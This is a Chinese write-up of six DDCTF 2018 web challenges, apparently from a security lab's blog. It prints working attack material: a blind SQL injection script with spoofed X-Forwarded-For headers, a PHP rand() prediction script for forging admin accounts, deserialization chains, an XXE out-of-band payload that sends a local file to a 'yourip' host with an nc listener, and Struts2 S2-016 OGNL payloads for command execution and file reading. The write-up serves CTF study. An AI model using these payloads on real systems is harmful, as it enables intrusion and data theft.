DDCTF 2018 Web Writeup

web1 数据库的秘密

看题目猜是注入,访问题目发现只允许 123.232.23.245 IP 访问。没啥好说的,直接改 HTTP 的 HEADERS,加个 X-Forwarded-For: 123.232.23.245。发现可以正常访问了,并且注意到有个 hidden 的 input,参数名为 author,是本题的注入点。
为了测试 payload 方便,使用 burp 来修改数据。
proxy->options->match and replace
将 useragent 替换成 X-Forwarded-For: 123.232.23.245
hidden 替换成text ,将intercept 勾上 off
这样就可以在浏览器上直接测试:

稍微 fuzz 下,过滤了 union ,只能使用 and 来盲注。同时提交请求还会带上一个 time 和 sig。这两个参数是在 js 计算出来的。思路很明确,有个盲注,需要计算 sig,和 time。直接使用 python 调用 js 来计算,就比较方便。或者使用 webdriver 来做。我选择 execjs 来调用 js 脚本。

#!/bin/usr/env python
#coding: utf-8

import sys
import requests
import time
import execjs


guess =  "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
payload1 = "select schema_name from information_schema.SCHEMATA limit {database_offset},1"
payload2 = "test' && if(ascii(substr(({query}),{str_offset},1)) like {str_value},1,0)#"
payload3 = " select table_name from information_schema.tables where table_schema=0x6464637466 limit {table_offset},1"
payload4 = "select column_name from information_schema.columns where table_name=0x6374665f6b657932 limit {columns_offset},1"
payload5 = "select secvalue from ctf_key2 limit {row_offset},1"
key ="adrefkfweodfsdpiru"
source = open('/root/Desktop/web1.js').read()
context = execjs.compile(source)
headers ={
        "X-Forwarded-For": "123.232.23.245",
        "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
        }
result = []
def leakdata(i,payload):
   data = ''
   for j in range(1,40):
       sys.stdout.flush()
       index = 0
       while index <= range(1, len(guess) + 1):
           k = guess[index]
           sys.stdout.writelines(data + ":" + str(j) + ":" + k + "n")
           obj = context.eval("obj")
           sqlstr = payload2.format(query=payload.format(row_offset=i), str_offset=j, str_value=ord(k))
           obj['author'] = sqlstr
           sys.stdout.writelines("Payload:" + sqlstr + "n")
           time_now = int(time.time())
           get_str = context.call("submitt", sqlstr)
           url = "http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/" + get_str
           sys.stdout.writelines("POST At:" + url + "n")
           r = requests.post(url, data=obj, headers=headers)
           # print r.text
           if 'time error' in r.text:
               print "time error,retry:", j, k
               index -= 1
           if 'sig error' in r.text:
               print "sig error,retry:", j, k
               index -= 1
           if 'test' in r.text:
               print "OK", str(j), ":", k
               data += k
               break
           if k =='M' and 'test' not in r.text:
               return
           index += 1
       print data
       result.append(data)
   print result
#r = s.get("http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/index.php",headers=headers)
#print r.text
leakdata(0,payload5)


Web2 专属链接

查看首页 HTML 源代码,发现一个奇怪的链接

抓包 ico 文件,其中内容为you can only download .class .xml .ico .ks files ,将链接后面的 base64 解码得到favicon.ico ,尝试读取配置文件 web.xml ,一步步测试最后确定在 ../../WEB-INF/web.xml

首页注释中还有一处提示/flag/testflag/yourflag ,访问/flag/testflag/DDCTF{aaa} 页面报错得到 FlagController 路径

我们需要通过读取 java 编译的. class 来获取文件内容,接下来下载../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class ,通过 jd-gui 查看. class 文件

getflag 请求限制了0-9a-zA-Z ,而我们在首页获取到的邮箱并不符合。这里暂时没思路,继续读其他文件。

在读到../../WEB-INF/applicationContext.xml 的时候,其中包含了一处 Listener

读取../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class ,我这里直接放主要代码

代码大概意思就是获取 emails.txt 中的邮箱地址,然后随机生成 flag 并插入到数据库中。要注意的是 email 跟 flag 是进行了加密的,且两个加密方式都不一样。

emails.txt 是无法读取到的,新建个文本写入首页的个人邮箱就可以了,将 keystore 文件 sdl.ks 下载下来,修改一下 java 代码的路径,本地运行获取到加密的 email 地址

拿到加密的 email,POST 请求/flag/getflag/D3291F5CB317AB0F82E275638732924121736458613C7**024F5C54E9C07FF88 ,拿到加密的 flag

在解密 flag 这里困了挺久的,flag 是使用 keystore 的私钥加密的,所以使用公钥解密。(同理,公钥加密的使用私钥解密)

flag.txt 写入加密的 flag,运行拿到正确 flag

Web3 注入的奥妙

在注释中的文章讲的是 big5 编码,所以我猜测是 big5 宽字节注入,在编码表中挑了一个 5C(即反斜杠 ) 结尾的字符 "么"

尝试注入

宽字节注入确实存在,直接上工具跑,其中过滤了 union,使用 uniunionon 替换绕过。获取路由表

访问/static/bootstrap/css/backup.css 解压拿到备份文件。直接看 Controller,Juesttry.php 存在反序列化漏洞

在 Test.php 中执行 getflag 输出 flag,我们构造反序列化链来进行获取 flag。

获得O:4:"Test":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}},但并不符合 allowed_classes 允许的类,所以我们修改一下

O:17:"IndexHelperTest":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:17:"IndexHelperFlag":1:{s:3:"sql";O:16:"IndexHelperSQL":0:{}}}

记得类名长度也要修改。最后反序列化获得 flag

web4 mini blockchain

题目给出了源码,可以看到在创建新块时,难度比较小(0 越少难度越小)。并且维持区块链正常工作的矿机全部宕机,所以我们只要能够挖矿的话,算力是达到 100% 的。换句话说我们能够完全控制区块链的增长方向。

在现实中因为我们没有这么强大的算力,黑客转账之后会有其他矿机挖出新的块不断的增长原链的长度,这样理论上不掌握 51% 的算力很难做到。(其实不到 51% 也可能做到,只是概率低)掌握了 51% 的算力意味着我们挖矿比任何人都快,他们在原来正确的链上增长速度没有我们伪造的快(当然,块的 hash 也要合法),到某一刻时,原链会被丢弃,反而承认我们伪造的块的正统地位。

不过这种攻击难以出现在现实情况,因为第一,黑客挖伪链期间没有任何收入,除非完成攻击。第二,黑客难以掌握 51% 以上的算力。第三,出现这种攻击成功后,必将导致区块链价格大跌,可能更赔钱。

所以这道题的解法就是添加空块使之分叉,调用后门。

如上表所示:实施两次 51% 攻击可以获得两个钻石。
参考知乎专栏:从零开始构建一个区块链 (一): 区块链(分享自知乎网)https://zhuanlan.zhihu.com/p/29875875?utm_source=qq&utm_medium=social 写个挖矿脚本:

#!/bin/usr/env python#coding:utf-8import hashlib  

EMPTY_HASH='0'*64difficulty=int('00000' + 'f' * 59, 16)
block = {'prev':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334','transactions':[],'nonce':'0','hash':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334'} #这里的prev是银行拥有100000时的区块的hash。每次挖矿添加新块都要改成上一块的hashdef mineBlock(block,difficulty=difficulty):
    while int(block['hash'], 16) > difficulty:        
    block['nonce']=str(int(block['nonce'])+1)        
    block['hash'] = hash_block(block)    
    return blockdef hash_block(block):    
    return reduce(hash_reducer, [block['prev'], block['nonce'],                                  
      reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash(x):    
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):    
    return hash(hash(x) + hash(y))print mineBlock(block)


接下来就是比较繁琐的的添加新块了,按照刚给的表格构造假块,就能拿到 flag 了。注意要在一个 session 下操作,使用 requests 库时添加一个 header:Content-Type: application/json

Web5 我的博客

下载源码,页面写的非常简单,通过预测 $admin 的值注册成管理员权限,在 index.php 中 sprintf 注入获取 flag。

这里我们要预测的是 str_shuffle 生成的值,看一下 str_shuffle 的 php 源码

str_shuffle 是通过获取 rand() 值计算键值进行字符串置换,打乱字符串。所以我们只要能预测 rand() 值,就能计算出 str_shuffle 生成的值

参考链接:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其中提到的公式:state[i] = state[i-3] + state[i-31]

也就是说,rand 生成的第 i 个随机数,等于 i-3 个随机数加 i-31 个随机数的和。

所以我们需要生成至少 32 个随机数,就可以预测后面的随机数了。这里我们要用到 Keep-Alive 来获取随机数,只要 TCP 连接不断那么这个随机数生成就是连续的。

csrf 值就是 rand() 的结果,所以我们获取 32 次注册页面中的 csrf 值,就能预测出 rand() 的结果

成功预测 rand 值,过程中碰到一个坑,按照公式生成的值会越来越大,导致有偏差,实际上是要对结果进行 2147483647 取余才是 rand 的值

接着需要将 php 源代码中的 str_shuffle 算法移植成 python 代码,并估计猜测的 rand 值生成 str_shuffle 字符串。最终利用代码如下:

#coding:utf-8
import requests
import re


def RAND_RANGE(__n, __min, __max,__tmax):
   return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))

def shuffle(dstr,relist):
   strlen = len(dstr)
   dstr = bytearray(dstr)
   if strlen<=1:
       return
   n_left = strlen
   i=0
   while --n_left:

       n_left -=1
       rnd_idx=relist[33+i]
       i+=1

       rnd_idx=int(RAND_RANGE(rnd_idx,0,n_left,2147483647))

       if (rnd_idx!=n_left):
           temp = dstr[n_left]
           dstr[n_left] = dstr[rnd_idx]
           dstr[rnd_idx]=temp

   return dstr

def guess():
   s=requests.session()
   target='http://116.85.39.110:5032/be4c9b0ef056ee0276256c70bf4126c9/'
   pattern = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>'

   relist= []
   for i in range(32):#0-31
       res = s.get(target+'register.php')
       relist.append(int(re.search(pattern,res.text).group(1)))
   print "访问32次!"
   # 预测rand值
   for i in range(32,120):
       relist.append((relist[i-3]+relist[i-31]) % 2147483647)

   print "预测第33个",relist[32]
   res =s.get(target+'register.php')
   print "第33个rand值:",re.search(pattern,res.text).group(1)
   csrf = re.search(pattern,res.text).group(1)
   print "当前csrf:",csrf

   base='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
   xstr = shuffle(base,relist)
   calc_code = str("admin###"+xstr[0:32])
   print calc_code
   post_data ={
       'csrf':csrf,
       'username':'wfox9',
       'password':'qwe123',
       'code':calc_code
   }
   res =s.post(target+'/register.php',data=post_data)
   print res.text


guess()


成功注册一个 admin 权限的用户

登陆之后在 title 处进行 sprintf 注入,参考文章 https://paper.seebug.org/386/

可以获取数据,直接丢 sqlmap 拿到 flag

Web6 喝杯 Java 冷静下

查看注释拿到账号密码 admin: admin_password_2333_caicaikan

登陆后台之后,查看详情的链接可以读取文件,尝试读取 WEB-INF/web.xml

为了更方便的读取网站文件,找到了 github 中的原源码 https://github.com/Eliteams/quick4j

读取WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class ,查看被修改过的片段

/nicaicaikan_url_23333_secret 存在 XXE 漏洞,不过只能super_admin角色才能访问,所以我们找一下super_admin角色的用户。

在读到WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class 发现了超级管理员 superadmin_hahaha_2333

password.hashCode() == 0的时候,就能成功登陆,所以要找个 hash 为 0 的字符串。通过谷歌找到了f5a5a608的 hash 值为 0。账号superadmin_hahaha_2333密码f5a5a608成功登陆超级管理员后台

构造 xxe 的 payload,由于没有回显,可以利用 xxe oob 获取回显内容

<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///flag/hint.txt">  
<!ENTITY % remote SYSTEM "http://yourip/evil.xml">  
%remote;  
%all;  
%send;  
]>

evil.xml

<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourip:2345/%file;'>">
%int;
%send;
]>


使用 nc 监听 vps 的 2345 端口nc -lvvp 2345,读取 / flag/hint.txt

拿到 hint.txt 内容,提示需要探测内网 8080 端口的 tomcat_2 服务。这里我还去试了爆破 ip 段.... 结果站点线程全部阻塞把赛题弄崩了半个小时.... 最后脑洞猜到http://tomcat_2:8080/,真的是骚...

访问 hello.action

提示当前是 Struts2 站点,读取 / flag/flag.txt 获取 flag。根据题目提示:第二层关卡应用版本号为 2.3.1,我们找一下 Struts 2.3.1 版本的漏洞

就决定是 s2-016 吧,在网上找到的 payload 丢过去,这里我 url 解码粘出来

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\s'))).start().getInputStream()).useDelimiter('\A'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

do not do evil things~ just try to read /flag/flag.txt~,网上的 payload 都是执行系统命令的,那我把他改成读取文件的 payload

redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#s=new java.io.File('/flag/flag.txt'),#q=new java.io.FileInputStream(#s),#w=new java.io.InputStreamReader(#q),#e=new java.io.BufferedReader(#w),#r=#e.readLine(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#r),#matt.getWriter().flush(),#matt.getWriter().close()}

最后成功读取到/flag/flag.txt

本文作者:白帽100安全攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/71113.html

Tags:
评论  (0)
快来写下你的想法吧!

白帽100安全攻防实验室

文章数:22 积分: 52

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号